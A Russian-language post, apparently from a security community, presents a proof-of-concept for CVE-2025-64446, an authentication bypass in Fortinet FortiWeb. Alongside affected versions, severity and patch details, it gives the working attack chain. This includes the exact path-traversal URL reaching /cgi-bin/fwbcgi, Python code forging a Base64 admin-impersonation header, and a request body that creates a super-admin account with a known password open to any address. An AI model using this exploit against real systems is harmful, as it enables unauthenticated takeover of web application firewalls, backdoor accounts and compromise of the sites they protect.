CVE-2025-64446 - обход аутентификации FortiWeb
Уязвимость обхода аутентификации в продукте FortiWeb от Fortinet. Скрипт отправляет специально сформированный HTTP-запрос на целевой сервер FortiWeb, чтобы проверить наличие уязвимости: при успехе создается новый административный пользователь с учетными данными.
Сообщество THREAD предупреждает, что перед запуском предоставленного программного обеспечения необходимо проявить особую осторожность. Для защиты рабочих станций от возможного заражения рекомендуется использовать виртуальную машину или песочницу.
Все осуществляется на ваш страх и риск!
Технические детали
- Поражённые версии: FortiWeb 8.0.0–8.0.1, 7.6.0–7.6.4, 7.4.0–7.4.9, 7.2.0–7.2.11, 7.0.0–7.0.11. FortiAppSec Cloud не затронут.
- Платформы: Апаратные и виртуальные appliances FortiWeb (включая облачные развертывания, кроме FortiAppSec Cloud).
- Тип уязвимости: Relative Path Traversal (CWE-23), приводящий к обходу аутентификации и выполнению административных команд.
- CVSS v3.1: 9.8 (CRITICAL). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
- Точка входа: API-эндпоинты, такие как
/api/v2.0/cmdb/system/admin, с использованием последовательностей обхода пути (../) для доступа к/cgi-bin/fwbcgi. - Метод эксплуатации: Отправка HTTP/HTTPS POST/GET-запроса с обходом пути для достижения CGI-скрипта
fwbcgi. В заголовкеHTTP_CGIINFOвставляется Base64-кодированный JSON для имперсонации администратора (например,{"username": "admin", "profname": "super_admin", "vdom": "root"}). Это позволяет создать нового админа. PoC-скрипт проверяет уязвимость, выводя сообщение об успехе при создании пользователя35f36895. - Ограничения: Уязвимость исправлена в версиях 8.0.2+, 7.6.5+, 7.4.10+, 7.2.12+, 7.0.12+. В исправленных системах запросы возвращают HTTP 403. Требует сетевого доступа к административному интерфейсу (порт 443/8443). Workaround: отключить HTTP/HTTPS-доступ из интернета к управлению.
Влияние
Уязвимость позволяет неаутентифицированному злоумышленнику получить полный административный доступ к FortiWeb, создать бэкдор-аккаунты для persistence и выполнить произвольные команды, включая изменение политик WAF. Это приводит к компрометации защищаемых веб-приложений, утечке данных, латеральному перемещению в сеть и нарушению доступности. Активная эксплуатация наблюдается с октября 2025 года, с созданием новых админов и стиранием следов.
Скрипт работает следующим образом:
1. Path Traversal — обход маршрутизации
Техника path traversal (обход пути):
/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
Механизм проверки авторизации анализирует начало пути и видит легитимный API-маршрут. Однако фактический запрос после нормализации пути попадает напрямую к CGI-скрипту, минуя все проверки.
2. Подделка сессии администратора
После обхода авторизации эксплойт сталкивается со второй проблемой: CGI-скрипт ожидает данные о текущем пользователе. Поддельный заголовок CGIINFO:
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()CGI-скрипт доверяет этому заголовку без дополнительной валидации. Это классический пример уязвимости типа Insecure Trust Boundary — система полагается на данные, которые могут быть подделаны злоумышленником.
3. Создание административной учётной записи
Отправка запроса на создание нового администратора:
body = {
"data": {
"q_type": 1,
"name": user, # Случайное имя
"access-profile": "prof_admin", # Полные права
"trusthostv4": "0.0.0.0/0", # Доступ отовсюду
"type": "local-user",
"password": passwd # Известный пароль
}
}После успешного выполнения злоумышленник получает полноценную учётную запись администратора с известными credentials.